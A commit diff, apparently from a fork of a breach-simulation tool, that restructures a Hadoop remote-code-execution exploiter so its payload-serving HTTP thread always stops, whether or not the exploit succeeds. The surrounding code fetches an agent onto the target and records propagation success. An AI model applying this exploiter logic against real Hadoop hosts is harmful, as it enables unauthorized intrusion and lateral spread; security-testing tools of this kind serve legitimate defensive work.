forked from p15670423/monkey
Agent: Stop Hadoop http_thread regardless the exploit result
This commit is contained in:
parent
4d6869fbf6
commit
871b02d514
|
@ -46,14 +46,18 @@ class HadoopExploiter(WebRCE):
|
||||||
if not paths:
|
if not paths:
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||||
|
|
||||||
|
try:
|
||||||
command = self._build_command(paths["dest_path"], http_path)
|
command = self._build_command(paths["dest_path"], http_path)
|
||||||
if not self.exploit(self.vulnerable_urls[0], command):
|
|
||||||
return self.exploit_result
|
if self.exploit(self.vulnerable_urls[0], command):
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
|
||||||
http_thread.stop()
|
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
self.exploit_result.exploitation_success = True
|
self.exploit_result.exploitation_success = True
|
||||||
self.exploit_result.propagation_success = True
|
self.exploit_result.propagation_success = True
|
||||||
|
finally:
|
||||||
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
|
http_thread.stop()
|
||||||
|
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
|
|
Loading…
Reference in New Issue